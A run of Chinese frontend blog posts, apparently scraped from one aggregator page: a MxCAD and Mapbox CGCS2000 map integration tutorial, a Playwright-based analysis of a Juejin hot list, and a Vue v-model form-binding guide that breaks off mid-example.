    if (boxRefs.value && boxRefs.value.length > 0) {
      // 先重置高度为auto以获取实际高度
      boxRefs.value.forEach(box => {
        box.style.height = 'auto';
      });

      // 获取更新后的高度
      const heights = boxRefs.value.map((box) => box.offsetHeight);
      maxBoxHeight.value = Math.max(...heights);
      console.log('Max height set to:', maxBoxHeight.value);

      // 强制应用最大高度到所有元素
      boxRefs.value.forEach(box => {
        box.style.height = `${maxBoxHeight.value}px`;
      });
    }
  });
}

4、最后在页面销毁的时候注销

// 组件卸载时移除事件监听
onUnmounted(() => {
  window.removeEventListener('resize', setEqualHeights)
})

WEB CAD与Mapbox结合实现在线地图和CAD编辑(CGCS2000)

一、项目概述

MxCAD 与 Mapbox 结合项目是一个创新性的解决方案,旨在将在线CAD编辑功能与地图服务无缝集成。该项目通过自定义的Mapbox版本支持中国国家大地坐标系(CGCS2000),并结合MxCAD强大的在线CAD编辑能力,实现了在地图上直接加载、编辑和管理 CAD 图纸的功能。

核心技术栈包括:

  • 修改版 Mapbox GL JS(支持 CGCS2000)
  • MxCAD 在线 CAD 编辑引擎
  • WebAssembly 技术
  • TypeScript/JavaScript

二、Mapbox修改版支持CGCS2000 坐标系

CGCS2000 坐标系介绍

CGCS2000(China Geodetic Coordinate System 2000)是中国国家大地坐标系,是中国测绘基准的重要组成部分,用于替代原有的北京54坐标系和西安80坐标系。在国内 GIS 应用中,支持CGCS2000是必不可少的功能。

基于@cgcs2000/mapbox-gl 的坐标系扩展

项目使用了自定义的@cgcs2000/mapbox-gl包,这是对标准 Mapbox GL JS 的扩展,主要增加了对 CGCS2000 坐标系的支持。在代码中的引用方式:

import {
  type AnyLayer,
  Map as _Map,
  type AnySourceData,
  LngLat,
  Point,
} from "@cgcs2000/mapbox-gl";
import mapboxgl from "@cgcs2000/mapbox-gl";

我们对修改后的js进行了处理,使其支持CGCS2000坐标系和mxcad的交互。

坐标转换与投影实现

在使用时我们依然要扩展了 Map 类,扩展的方法都是必须的,用于配合 mxcad 实现坐标的转换和交互:

// 扩展重写Map类
export class Map extends _Map {
  public dom_mousePos(event: any) {
    return this.dom_mousePos_imp(this.getCanvasContainer(), event);
  }
  public lnglat_to_mercator(lng: any, lat: any): any {
    let pt = mapboxgl.MercatorCoordinate.fromLngLat([lng, lat], 0);
    return pt;
  }
  public mercator_to_lnglat(x: number, y: number, z: number): any {
    let mecatorcoord = new mapboxgl.MercatorCoordinate(x, y, z);
    return mecatorcoord.toLngLat();
  }
  public mercatorCoordinate_from_LngLat(
    lngLat: number[],
    modelAltitude: number
  ): any {
    return mapboxgl.MercatorCoordinate.fromLngLat(lngLat as any, modelAltitude);
  }
  protected getScaledPoint(
    el: HTMLElement,
    rect: ClientRect,
    e: MouseEvent | WheelEvent | Touch
  ) {
    const scaling =
      el.offsetWidth === rect.width ? 1 : el.offsetWidth / rect.width;
    return new Point(
      (e.clientX - rect.left) * scaling,
      (e.clientY - rect.top) * scaling
    );
  }
  protected dom_mousePos_imp(el: HTMLElement, e: MouseEvent | WheelEvent) {
    const rect = el.getBoundingClientRect();
    return this.getScaledPoint(el, rect, e);
  }
}

三、MxCAD 与 Mapbox 的结合实践

MxCAD在线CAD编辑引擎与Mapbox集成

MxCAD编辑引擎,通过WebAssembly技术实现了高性能的CAD渲染和编辑功能,关键集成代码:

import { MxMap } from "mxcad";
let mx_map = new MxMap();
// 设置坐标点对齐,将CAD坐标系与地图坐标系对齐
//  图纸中的中心在地址上的位置,单位经纬度
let mapOrigin = [116.42787, 39.93232];
// 小=右,大=下
//  CAD图纸中的中心中,CAD图纸单位
let cadOrigin = [506411.1543, 307348.2786];
// 1 CAD单位与米的比例 这里 1 cad单位是1m
let meterInCADUnits = 1;
mx_map.setCoordinatePointAlignment(mapOrigin, cadOrigin, meterInCADUnits);
const style = {
  version: 8,
  sources: {
    tianditu: {
      type: "raster",
      tiles: [
        "http://t0.tianditu.gov.cn/img_c/wmts?SERVICE=WMTS&REQUEST=GetTile&VERSION=1.0.0&LAYER=img&STYLE=default&TILEMATRIXSET=c&FORMAT=tiles&TILEMATRIX={z}&TILEROW={y}&TILECOL={x}&tk=天地图的密钥",
      ],
      tileSize: 256,
      maxzoom: 18,
    },
  },
  layers: [
    {
      id: "tianditu-layer",
      type: "raster",
      source: "tianditu",
      minzoom: 0,
      maxzoom: 18,
    }
  ],
};
let map = new Map({
  // Mapbox GL JS 进行地图渲染的 HTML 元素,或该元素的字符串 id 。该指定元素不能有子元素。
  container: "map",
  // crs: 'EGSP:4490',
  // 地图最小缩放级别(0-24)。
  minZoom: 0,
  // 地图最大缩放级别(0-24)。
  maxZoom: 24,
  // 地图初始化时的地理中心点
  center: mapOrigin,
  // 地图初始化时的层级
  zoom: 16,
  // 地图的 Mapbox 配置样式
  style: style,
});
// 你需要打开的图纸
 let cadFile = new URL("../../public/demo/line3.dwg.mxweb", import.meta.url).href;
// 在地图加载完成后初始化MxCAD
map.on("style.load", async function () {
  // 设置canvas ID
  map.getCanvas().id = "myCanvas";
  // 创建MxCAD实例
  mx_map.create(map, {
    locateFile: (fileName: string) => {
      return new URL(
        `../../node_modules/mxcad/dist/wasm/${mode}/${fileName}`,
        import.meta.url
      ).href;
    },
    fileUrl: cadFile,
    middlePan: true,
    viewBackgroundColor: load_local_title
      ? { red: 0, green: 0, blue: 0 }
      : { red: 255, green: 255, blue: 255 },
  });
});

坐标系统对齐实现

坐标系统对齐是 MxCAD 与 Mapbox 结合的核心。我们通过setCoordinatePointAlignment方法将 CAD 坐标系与地图坐标系进行对齐:

// 图纸中的中心在地址上的位置,单位经纬度
let mapOrigin = [116.42787, 39.93232];
// CAD图纸中的中心中,CAD图纸单位
let cadOrigin = [506411.1543, 307348.2786];
// CAD单位与米的比例
let meterInCADUnits = 1;
// 设置坐标点对齐
mx_map.setCoordinatePointAlignment(mapOrigin, cadOrigin, meterInCADUnits);

这样设置后,当用户在地图上点击时,可以获取对应的 CAD 坐标:

map.on("click", async function (e) {
  let { lng, lat } = e.lngLat;
  // 获取墨卡托坐标
  let pt = mapboxgl.MercatorCoordinate.fromLngLat([lng, lat], 0);
  // 转换为CAD坐标
  let ptCAD = mx_map.mercatorCoord2CAD(pt.x, pt.y);
  console.log("CAD坐标:", JSON.stringify(ptCAD));
});

四、天地图CGCS2000加载实现

天地图服务介绍

天地图是中国国家测绘地理信息局主办的国家地理信息公共服务平台,提供了基于 CGCS2000 坐标系的地图服务。在本项目中,我们集成了天地图作为底图服务。

天地图key申请流程

  1. 访问天地图开发者平台:lbs.tianditu.gov.cn/
  2. 注册并登录开发者账号
  3. 选择地图API
  4. 申请key
  5. 在"控制台"页面选择"创建应用"
  6. 填写应用名称、应用类型等信息
  7. 提交后获取应用 key
  8. 使用获取的 key 替换代码中的 tk 参数

111111111.png

天地图CGCS2000图层配置

在项目中,我们通过以下方式配置天地图图层:

const style = {
  version: 8,
  sources: {
    tianditu: {
      type: "raster",
      tiles: [
        "http://t0.tianditu.gov.cn/img_c/wmts?SERVICE=WMTS&REQUEST=GetTile&VERSION=1.0.0&LAYER=img&STYLE=default&TILEMATRIXSET=c&FORMAT=tiles&TILEMATRIX={z}&TILEROW={y}&TILECOL={x}&tk=",
      ],
      tileSize: 256,
      maxzoom: 18,
    },
  },
  layers: [
    {
      id: "tianditu-layer",
      type: "raster",
      source: "tianditu",
      minzoom: 0,
      maxzoom: 18,
    }
  ]
} as mapboxgl.Style;

注意:在实际使用时,需要将上述代码中的tk=后面添加您申请的天地图key。

天地图提供了多种图层类型,常用的包括:

  • img_c: 影像底图
  • vec_c: 矢量底图
  • cva_c: 矢量注记
  • cia_c: 影像注记

可以根据需求选择不同的图层类型。

集成mxcad在线CAD项目地图模式

刚刚我们介绍了从0到1的MxCAD与Mapbox结合实现,但是所有CAD的功能都要从头开发, 所以我们提供了在线CAD项目集成方案, 同时可以启动地图模式, 简单开发一个扩展插件轻松集成 MxCAD 与 Mapbox 结合实现在线地图 CAD 编辑系统。

开发前我们一定要下载MxDraw云图开发包然后解压可以看到一个exe程序点击运行点击“打开MxCAD代码开发目录” 就可以看到dist目录了,查看详情

扩展插件开发

通过开发一个简单的插件,我们可以快速集成MxCAD与Mapbox。以下是一个基本的插件代码示例:

import { MxCADPluginBase, MxCADUI, MxMap } from "mxcad";
import { MxFun } from "mxdraw";
import * as mapboxgl from "mapbox-gl";
import { Map } from "mapbox-gl";
class MxCADPlugin extends MxCADPluginBase {
    constructor() {
        super()
        this.map_default_data = {
            /**  地图与CAD图纸的对齐位置 */
            mapOrigin: [116.42787, 39.93232],
            /** CAD图纸与地图的对齐点 */
            cadOrigin: [506411.1543, 307348.2786],
            meterInCADUnits: 1,
            /** mapbox地图token */
            mapbox_accessToken: '',
            /** 需要打开的cad图纸 */
            openFile: new URL("../demo/line3.dwg.mxweb", import.meta.url).href,
            /** 栅格瓦片图层列表 */
            rasterTileLayerList: []
        }
    }
}
let mxcadui;
// cad应用加载开始
MxFun.on("mxcadApplicationStart", (mxcaduiimp) => {
    mxcadui = mxcaduiimp;
    mxcadui.init(new MxCADPlugin());
});
let mx_map;
let map;
// 初始化gis
MxFun.on("mxcadApplicationInitMap", () => {
    mx_map = mxcadui.mxmap;
    map = mx_map.getMapbox()
    map.getCanvas().id = "mxcad"
    // 可以在这里设置地图样式
    // map.setStyle({
    //     version: 8,
    //     sources: {
    //         tianditu: {
    //             type: 'raster',
    //             tiles: [
    //                 'http://t0.tianditu.gov.cn/img_c/wmts?SERVICE=WMTS&REQUEST=GetTile&VERSION=1.0.0&LAYER=img&STYLE=default&TILEMATRIXSET=c&FORMAT=tiles&TILEMATRIX={z}&TILEROW={y}&TILECOL={x}&tk=密钥'
    //             ],
    //             tileSize: 256,
    //             maxzoom: 18
    //         }
    //     },
    //     layers: [
    //         {
    //             id: 'tianditu-layer',
    //             type: 'raster',
    //             source: 'tianditu',
    //             minzoom: 0,
    //             maxzoom: 18
    //         }
    //     ]
    // })
    map.on("click", async function (e) {
        let { lng, lat } = e.lngLat;
        let pt = mapboxgl.MercatorCoordinate.fromLngLat(
            [lng, lat],
            0
        );
        console.log("经纬度坐标:", JSON.stringify([lng, lat]));
        let ptCAD = mx_map.mercatorCoord2CAD(pt.x, pt.y);
        console.log("CAD坐标:", JSON.stringify(ptCAD))
    });
});
插件部署与配置

1.插件文件结构

将上述JavaScript代码保存为一个index.js文件,放置在dist/plugins/mapPlugin/目录下(目录名可自定义)。

2.配置config.json

dist/plugins/config.json文件中添加插件配置:

   {
     "plugins": \[
       "loginPlugin",
       {"name": "pluginCodeEdit", "isAfterLoad": true, "dir": true, "version": "1.0.0"},
       {"name": "pluginIdentifyPattern", "isAfterLoad": true, "dir": true, "version": "1.0.0"},
       {"name": "pluginBaseTemplate", "isAfterLoad": false, "dir": true, "version": "1.0.0"},
       {"name": "mapPlugin", "isAfterLoad": false, "dir": true, "version": "1.0.0"}
     ]
   }

注意:

  • 插件名称应与目录名一致
  • isAfterLoad表示是否在主应用加载完成后再加载插件
  • dir设置为true表示插件在独立目录中
启动地图模式

访问应用时,在URL后添加?map=true参数即可启动地图模式,例如:

http://your-domain.com/mxcad/?map=true
集成到现有项目

您可以通过以下方式将MxCAD地图模式集成到现有项目中:

  1. 使用iframe嵌入
   <iframe src="http://your-domain.com/mxcad/?map=true" width="100%" height="600px"></iframe>

2.页面通信

通过postMessage实现父页面与iframe中的MxCAD应用通信:

   // 父页面发送消息
   const mxcadFrame = document.getElementById('mxcad-frame');
   mxcadFrame.contentWindow\.postMessage({
     type: 'COMMAND',
     command: 'ZOOM\_TO',
     data: { center: \[116.42787, 39.93232], zoom: 16 }
   }, '\*');
   // 在MxCAD插件中接收消息
   window\.addEventListener('message', (event) => {
     if (event.data.type === 'COMMAND') {
       // 处理来自父页面的命令
       handleCommand(event.data);
     }
   });
   function handleCommand(data) {
     if (data.command === 'ZOOM\_TO' && map) {
       map.flyTo({
         center: data.data.center,
         zoom: data.data.zoom,
         essential: true
       });
     }
   }

通过这种方式,您可以在自己的项目中轻松集成MxCAD与Mapbox结合的在线地图CAD编辑系统,同时保留对地图和CAD操作的完全控制能力,同时集成了mxcad在线CAD项目的各种功能。

坐标系统选择注意事项

在集成MxCAD与Mapbox时,坐标系统的选择非常重要:

1.CGCS2000与WGS84的区别    

  • 本项目中采用的是CGCS2000坐标系
  • 默认的Mapbox使用的是WGS84坐标系
  • 两种坐标系在中国区域的偏差约为几米到几十米不等

2.坐标系选择建议

  • 如果您的项目需要精确对应中国国内地理位置,建议使用修改版的Mapbox CGCS2000
  • 使用CGCS2000时,所有经纬度输入和输出都是CGCS2000坐标系下的值
  • 如果对精度要求不高或主要用于国际项目,可以使用默认的Mapbox(WGS84)+ 补丁方式
  • 使用默认WGS84时,无需替换为修改版的Mapbox库

3.坐标转换

如果需要在两种坐标系统之间进行转换,可以使用相关转换工具或库,例如proj4js:

// 使用proj4js进行坐标转换示例
   import proj4 from 'proj4';
   // 定义坐标系
   proj4.defs('EPSG:4326', '+proj=longlat +datum=WGS84 +no\_defs'); // WGS84
   proj4.defs('EPSG:4490', '+proj=longlat +ellps=GRS80 +no\_defs'); // CGCS2000
   // WGS84转CGCS2000
   const wgs84Point = \[116.3912, 39.9073]; // 北京某点WGS84坐标
   const cgcs2000Point = proj4('EPSG:4326', 'EPSG:4490', wgs84Point);
   console.log('CGCS2000坐标:', cgcs2000Point);

选择合适的坐标系对于项目的精确定位至关重要,特别是在涉及到工程测量、规划设计等高精度应用场景中。

我用Playwright爬了掘金热榜,发现了这些有趣的秘密... 🕵️‍♂️

前言

大家好,我是奈德丽。

最近大脑也是突发奇想,掘金每天这么多文章发布,很多朋友又没有时间天天都上掘金,为了帮助掘友们了解一周内最热门技术动态和趋势,我做了这件事,用技术手段总结和分析一周内最热门文章,而且对于想要写作不知道怎么写的掘友来说也是有一定帮助的。

剧透警告:Vue竟然完胜React!AI话题热度爆表!某位大佬一人霸榜两篇!

📈 数据可视化:一图胜千言

客官,请看图:

(热榜分析图)

juejin-analysis-report.png

(热榜原图)

juejin-analysis-source.png

🔍 数据说话:热榜背后的秘密

📊 技术热度排行榜:意外的赢家

先看技术热度排行榜,结果让我大跌眼镜:

🥇 源码分析 - 3篇文章,平均热度1776
🥈 Vue - 4篇文章,平均热度1125  
🥉 AI/机器学习 - 4篇文章,平均热度801

惊喜发现1:源码分析居然是最热门的话题!

看来大家不仅想用技术,更想理解技术。最火的几篇都是讲Source Map原理、Vite底层实现的,程序员们求知欲这么强的吗?(难道大家都在内卷?😂)

惊喜发现2:Vue vs React,Vue完胜!

  • Vue相关:4篇文章上榜
  • React相关:仅2篇文章

这个结果有点意外,毕竟平时React的声量好像更大。看来掘金用户更偏爱Vue,或者说Vue生态最近确实很活跃。

惊喜发现3:AI话题热度爆表!

AI相关文章居然有4篇上榜,包括:

  • 《30行代码langChain.js开发你的第一个Agent》
  • 《探索AI + MCP渲染前端UI》
  • 《Cursor实战万字经验分享》

看来AI真的是无处不在,连前端开发都被"卷"进去了。

👑 影响力排行榜:大佬现身

分析完作者影响力,发现了几位"热榜收割机":

🏆 热度之王:艾克马斯奎普特

  • 1篇文章,热度3348
  • 《为什么响应性语法糖最终被废弃了?尤雨溪也曾经试图让你不用写.value》

这位大佬一出手就是王炸!单篇文章热度直接碾压其他所有文章。而且这个标题起得太棒了,既有技术深度,又有名人效应(尤雨溪),还有悬念感。

学到了学到了!🙋‍♂️

🎯 效率之王:CAD老兵

  • 2篇文章,平均热度2372
  • 一个人霸榜两篇!分别讲Source Map和Vite原理

这位大佬专攻底层原理,而且质量稳定,两篇文章都是高热度。看来"深挖技术原理"这条路是对的。

💡 实用之王:张鑫旭

  • 1篇文章,热度2349
  • 《40岁老前端2025年上半年都学了什么?》

张大神出品,必属精品!这篇文章不仅有技术含量,还有人生感悟,难怪这么受欢迎。

📚 内容类型分析:实战为王

分析内容类型发现了一个有趣的规律:

🥇 实战类 - 35%(7篇)
🥈 原理类 - 25%(5篇)  
🥉 工具类 - 15%(3篇)

实战类内容最受欢迎!

这说明大家更喜欢"能直接上手"的内容,而不是纯理论。比如:

  • 《写个vite插件自动处理系统权限》
  • 《30行代码langChain.js开发你的第一个Agent》
  • 《浏览器中的扫码枪:从需求到踩坑再到优雅解决》

这些文章都有一个特点:有具体的问题 + 完整的解决方案 + 可以直接复制的代码

🧠 深度洞察:我发现的规律

规律1:标题党确实有用(但要有料)

热榜前几名的标题都很有技巧:

  • 悬念式:《为什么响应性语法糖最终被废弃了?》
  • 实用式:《别再只用px了!移动端适配必须掌握的CSS单位》
  • 权威式:《前端高手才知道的秘密:Blob居然这么强大!》
  • 情感式:《我为什么放弃了"大厂梦",去了一家"小公司"?》

但关键是:标题党要有真材实料支撑!

规律2:技术深度 + 实用性 = 爆款

分析热度最高的几篇文章,发现它们都有个共同点:

既有技术深度,又有实用价值

比如《Vite如何借助esbuild实现极速Dev Server体验》,不仅讲了原理,还教你怎么用。这种"既解释为什么,又教你怎么做"的文章最受欢迎。

规律3:AI是流量密码

AI相关的4篇文章虽然热度不是最高,但平均热度都不错。而且覆盖面很广:

  • Agent开发
  • AI编码工具
  • AI + 前端UI

可见AI确实是当下的"流量密码",但要结合具体的应用场景,不能为了AI而AI。

规律4:老前端的经验分享很香

像张鑫旭的《40岁老前端2025年上半年都学了什么?》这种经验分享类文章,虽然不是纯技术,但热度很高。

说明大家不仅关心技术本身,也关心技术人的成长和感悟。

🎯 给写作者的建议

基于这次分析,我总结了几个"爆款"心得:

1. 选题建议

  • 源码分析:永远的热门,但要通俗易懂
  • Vue相关:在掘金很受欢迎,尤其是Vue3
  • AI + 前端:结合具体场景,不要太抽象
  • 工程化工具:Vite、Webpack等永远有市场
  • ⚠️ React:虽然流行,但在掘金要考虑差异化

2. 内容建议

  • 🏆 实战优先:有具体代码,能解决实际问题
  • 📚 深入浅出:有深度但不晦涩
  • 🛠️ 工具实用:介绍好用的工具和插件
  • 💭 经验总结:踩坑经历和最佳实践

3. 标题建议

  • 用疑问句制造悬念
  • 用数字增加具体感
  • 用否定词制造冲突
  • 用权威词增加信任感

🤖 技术实现:我是怎么爬取分析的

既然是技术博客,不能只有结论,还要分享实现过程。

爬虫部分(Playwright)

// 核心爬取逻辑
const articles = await page.$$eval('.article-item-link', items => 
  items.slice(0, 20).map((item, index) => {
    // 提取标题、作者、热度等信息
    const titleElement = item.querySelector('.article-title');
    const authorElement = item.querySelector('.article-author-name-text');
    const hotElement = item.querySelector('.hot-number');
  
    // 解析浏览、互动、收藏数据
    const authorTexts = item.querySelectorAll('.author-text');
    let views = '0', interactions = '0', collections = '0';
    authorTexts.forEach(text => {
      const content = text.textContent.trim();
      if (content.includes('浏览')) views = content.replace('浏览', '').trim();
      if (content.includes('互动')) interactions = content.replace('互动', '').trim();
      if (content.includes('收藏')) collections = content.replace('收藏', '').trim();
    });
  
    return {
      title: titleElement?.textContent.trim(),
      author: authorElement?.textContent.trim(),
      hotScore: hotElement?.textContent.trim(),
      views, interactions, collections
    };
  })
);

智能分析部分

// 技术关键词匹配
const TECH_KEYWORDS = {
  'Vue': ['vue', 'vue3', 'nuxt', 'vite'],
  'React': ['react', 'hooks', 'jsx', 'next.js'],
  'AI/机器学习': ['ai', 'chatgpt', 'llm', 'agent'],
  // ... 更多技术关键词
};

// 分析技术趋势
function analyzeTechTrends(articles) {
  const techStats = {};
  articles.forEach(article => {
    const title = article.title.toLowerCase();
    Object.entries(TECH_KEYWORDS).forEach(([tech, keywords]) => {
      if (keywords.some(keyword => title.includes(keyword))) {
        if (!techStats[tech]) techStats[tech] = { count: 0, totalHot: 0 };
        techStats[tech].count++;
        techStats[tech].totalHot += parseInt(article.hotScore);
      }
    });
  });
  return techStats;
}

🔮 未来展望:下一步计划

这次分析只是开始,我计划:

  1. 定期监控:每周爬取一次,观察技术趋势变化
  2. 多平台对比:对比掘金、思否、CSDN的差异
  3. 情感分析:分析评论情感,了解用户真实反馈

总结

通过这次数据分析,我发现:

  1. 技术人的求知欲很强:源码分析类文章最受欢迎
  2. 实用主义盛行:能解决实际问题的内容更受青睐
  3. Vue在掘金很香:比React文章更容易上热榜
  4. AI是时代主题:各种AI+前端的结合很有市场
  5. 经验分享有价值:不仅要技术硬核,软技能也重要

对内容创作者的启发

  • 深挖技术原理,但要通俗易懂
  • 结合实际场景,提供完整解决方案
  • 关注技术趋势,但不盲目跟风
  • 分享真实经验,建立个人品牌

最后,感谢掘金这个平台,让我们能够分享和学习技术。也感谢所有在热榜上分享知识的大佬们!

你觉得这个分析有趣吗?你想看到哪些其他维度的分析?欢迎在评论区告诉我!

emmm 懦夫的味道

Vue 表单输入绑定终极指南:从基础到企业级实践

Vue 表单输入绑定终极指南:从基础到企业级实践

引言:表单绑定的核心价值

表单是Web应用中最常见的用户交互界面,Vue的表单输入绑定系统通过v-model指令提供了声明式的双向数据绑定方案。这种机制使开发者能够:

  • 轻松实现视图与数据的同步
  • 减少手动DOM操作代码
  • 提高代码可读性和可维护性
  • 构建复杂的表单交互体验

本文将全面解析Vue表单绑定的核心概念、高级技巧、版本差异以及企业级实践方案。

一、v-model 核心原理与机制

1.1 v-model 的本质

v-model是Vue的语法糖,它结合了v-bindv-on的功能:

<!-- 基本用法 -->
<input v-model="message">

<!-- 等价于 -->
<input 
  :value="message"
  @input="message = $event.target.value"
>

v-model 本质上是语法糖,它做了两件事:

  1. 绑定 value 属性
  2. 监听 input 事件

1.2 响应式更新机制

Vue的表单绑定建立在响应式系统之上:

  • 数据 → 视图:数据变化时,自动更新DOM
  • 视图 → 数据:用户输入时,自动更新数据
  • 智能处理:针对不同输入类型进行差异化处理

1.3 不同表单元素的绑定逻辑

元素类型 绑定的属性 监听的事件 值处理方式
text, textarea value input event.target.value
checkbox checked change event.target.checked
radio checked change 绑定值比较
select value change 选中项的 value

二、基础绑定:各类表单元素详解

2.1 文本输入

<input v-model="username" type="text" placeholder="用户名">

2.2 多行文本

<textarea v-model="bio" placeholder="个人简介"></textarea>

2.3 复选框

单个复选框(布尔值)

<input type="checkbox" id="agree" v-model="isAgreed">
<label for="agree">我同意协议</label>
<p>状态:{{ isAgreed ? '已同意' : '未同意' }}</p>

多个复选框(数组)

<input type="checkbox" id="apple" value="apple" v-model="fruits">
<label for="apple">苹果</label>

<input type="checkbox" id="banana" value="banana" v-model="fruits">
<label for="banana">香蕉</label>

<p>选择的水果:{{ fruits }}</p>

2.4 单选按钮

<input type="radio" value="male" v-model="gender"><input type="radio" value="female" v-model="gender">

2.5 选择框

单选

<select v-model="country">
  <option disabled value="">请选择国家</option>
  <option value="cn">中国</option>
  <option value="us">美国</option>
</select>

多选

<select v-model="selectedCities" multiple>
  <option disabled value="">请选择城市</option>
  <option value="bj">北京</option>
  <option value="sh">上海</option>
</select>

三、高级绑定技巧

3.1 值绑定(动态绑定)

对于单选按钮、复选框和选择框选项,可以使用 :value 绑定非字符串值:

<input type="radio" v-model="pick" :value="dynamicValue">

<!-- 绑定对象值 -->
<input 
  type="checkbox"
  v-model="toggle"
  :true-value="{ id: 1, status: 'active' }"
  :false-value="{ id: 1, status: 'inactive' }"
>

<select v-model="selected">
  <option :value="{ id: 123 }">选项A</option>
</select>

<!-- 绑定动态选项 -->
<select v-model="selected">
  <option v-for="option in options" :value="option.value">
    {{ option.text }}
  </option>
</select>

3.2 修饰符的应用

修饰符 说明 使用场景
.lazy 将 input 事件转为 change 事件后更新 减少频繁更新
.number 自动转为数字 数字输入框
.trim 去除首尾空格 用户名、邮箱等
<input v-model.lazy.trim="username">
<input v-model.number="age" type="number">

3.3 自定义输入组件

Vue2 实现:在自定义组件上使用 v-model 时,默认会利用 value prop 和 input 事件

<!-- 子组件 CustomInput.vue -->
<template>
  <input :value="value" @input="$emit('input', $event.target.value)">
</template>

<script>
export default {
  props: ['value']
}
</script>

父组件:

<custom-input v-model="message"></custom-input>

Vue3 实现:在自定义组件上使用 v-model 时,默认会利用 value prop 、['update:modelValue'] emit 和 input 事件

<template>
  <input :value="modelValue" @input="$emit('update:modelValue', $event.target.value)">
</template>

<script>
export default {
  props: ['modelValue'],
  emits: ['update:modelValue']
}
</script>

默认情况下,在组件上使用 v-model 时:

  • 会将 value 作为 prop
  • 会监听 input 事件

四、Vue2 与 Vue3 表单绑定对比

4.1 核心差异

特性 Vue2 Vue3
默认 prop value modelValue
默认事件 input update:modelValue
多 v-model 支持 不支持 原生支持
自定义组件实现 需要 model 选项 更简洁的直接绑定
修饰符处理 通过 model 选项配置 通过 props 访问

4.2 迁移指南

  1. 重命名 prop/event

    • valuemodelValue
    • inputupdate:modelValue
  2. 多 v-model 转换

    <!-- Vue2 -->
    <user-form
      :firstName="firstName"
      @update:firstName="firstName = $event.target.value"
      :lastName="lastName"
      @update:lastName="lastName = $event.target.value"
    ></user-form>
    
    <!-- Vue3 -->
    <user-name
      v-model:first-name="firstName"
      v-model:last-name="lastName"
    ></user-name>
    
  3. 修饰符处理

    // Vue3 中访问修饰符
    props: {
      modelValue: String,
      modelModifiers: {
        default: () => ({})
      }
    }
    

五、企业级表单实践方案

5.1 表单验证方案

使用 VeeValidate (Vue3)

<Form @submit="onSubmit">
  <Field name="email" rules="required|email" v-slot="{ field, errors }">
    <input v-bind="field" type="email">
    <span v-if="errors.length">{{ errors[0] }}</span>
  </Field>
</Form>

自定义验证逻辑

const validatePassword = (value) => {
  if (value.length < 8) return '密码至少8位';
  if (!/[A-Z]/.test(value)) return '必须包含大写字母';
  return true;
};

5.2 复杂表单状态管理

使用 Pinia (Vue3)

// stores/formStore.js
import { defineStore } from 'pinia';

export const useFormStore = defineStore('form', {
  state: () => ({
    user: {
      name: '',
      email: '',
      address: {
        street: '',
        city: ''
      }
    }
  }),
  actions: {
    updateField(path, value) {
      // 使用lodash的set方法更新嵌套属性
      _.set(this.user, path, value);
    }
  }
});

5.3 动态表单生成器

<template>
  <form>
    <component
      v-for="(field, index) in formSchema"
      :key="index"
      :is="getComponent(field.type)"
      v-model="formData[field.name]"
      v-bind="field.props"
    ></component>
  </form>
</template>

<script>
export default {
  data() {
    return {
      formSchema: [
        {
          name: 'username',
          type: 'text',
          props: { label: '用户名', required: true }
        },
        {
          name: 'role',
          type: 'select',
          props: {
            label: '角色',
            options: [
              { value: 'admin', text: '管理员' },
              { value: 'user', text: '普通用户' }
            ]
          }
        }
      ],
      formData: {}
    };
  },
  methods: {
    getComponent(type) {
      const components = {
        text: 'BaseInput',
        select: 'BaseSelect',
        checkbox: 'BaseCheckbox'
      };
      return components[type] || 'BaseInput';
    }
  }
};
</script>

六、性能优化策略

6.1 大型表单优化

  1. 分块渲染

    <template v-for="(section, index) in formSections" :key="index">
      <div v-if="activeSection === index">
        <!-- 渲染当前部分 -->
      </div>
    </template>
    
  2. 虚拟滚动

    <RecycleScroller
      :items="largeList"
      :item-size="50"
      key-field="id"
    >
      <template v-slot="{ item }">
        <input v-model="item.value">
      </template>
    </RecycleScroller>
    

6.2 更新优化

  1. 使用 .lazy 修饰符

    <input v-model.lazy="searchQuery">
    
  2. 防抖处理

    import { debounce } from 'lodash-es';
    
    export default {
      methods: {
        handleInput: debounce(function(value) {
          this.search(value);
        }, 300)
      }
    }
    

6.3 内存优化

  1. 扁平化数据结构

    // 避免深层嵌套
    {
      'user.name': 'John',
      'user.address.street': 'Main St'
    }
    
  2. 按需加载表单配置

    const loadFormSchema = async (formId) => {
      const response = await fetch(`/api/forms/${formId}`);
      return response.json();
    };
    

七、最佳实践总结

7.1 组件设计原则

  1. 单一职责:每个表单组件只负责一个功能
  2. 明确接口:通过 props 和 events 定义清晰接口
  3. 可复用性:设计可复用的基础表单组件
  4. 无障碍支持:确保表单可访问性

7.2 项目结构规范

src/
├── components/
│   ├── forms/
│   │   ├── BaseInput.vue
│   │   ├── BaseSelect.vue
│   │   ├── FormGroup.vue
│   │   └── FormContainer.vue
│   └── ...
├── composables/
│   ├── useFormValidation.js
│   └── useFormSubmission.js
└── views/
    ├── UserRegistration.vue
    └── ...

7.3 测试策略

单元测试

test('should update value on input', async () => {
  const wrapper = mount(BaseInput, {
    props: { modelValue: '' }
  });
  
  await wrapper.find('input').setValue('test');
  expect(wrapper.emitted()['update:modelValue'][0]).toEqual(['test']);
});

端到端测试

it('should submit registration form', () => {
  cy.visit('/register');
  cy.get('[data-test="username"]').type('testuser');
  cy.get('[data-test="submit"]').click();
  cy.contains('注册成功').should('be.visible');
});

八、实战案例:企业级用户管理系统

<template>
  <FormContainer @submit="handleSubmit">
    <FormGroup>
      <BaseInput
        v-model="user.name"
        label="姓名"
        :rules="[required]"
      />
    </FormGroup>
  
    <FormGroup>
      <BaseSelect
        v-model="user.role"
        label="角色"
        :options="roles"
        :rules="[required]"
      />
    </FormGroup>
  
    <FormGroup>
      <BaseCheckboxGroup
        v-model="user.permissions"
        label="权限"
        :options="permissions"
      />
    </FormGroup>
  
    <FormGroup>
      <DatePicker
        v-model="user.joinDate"
        label="加入日期"
      />
    </FormGroup>
  
    <FormActions>
      <button type="submit">保存</button>
    </FormActions>
  </FormContainer>
</template>

<script>
import { useForm } from '@/composables/useForm';
import { required } from '@/utils/validators';

export default {
  setup() {
    const { form: user, submit } = useForm({
      name: '',
      role: '',
      permissions: [],
      joinDate: new Date()
    });
  
    const roles = [
      { value: 'admin', label: '管理员' },
      { value: 'editor', label: '编辑' }
    ];
  
    const permissions = [
      { value: 'create', label: '创建内容' },
      { value: 'delete', label: '删除内容' }
    ];
  
    const handleSubmit = async () => {
      try {
        await submit('/api/users');
        showSuccess('用户保存成功');
      } catch (error) {
        showError('保存失败: ' + error.message);
      }
    };
  
    return {
      user,
      roles,
      permissions,
      required,
      handleSubmit
    };
  }
};
</script>

九、常见问题解决方案

9.1 输入法组合问题

<input
  v-model="text"
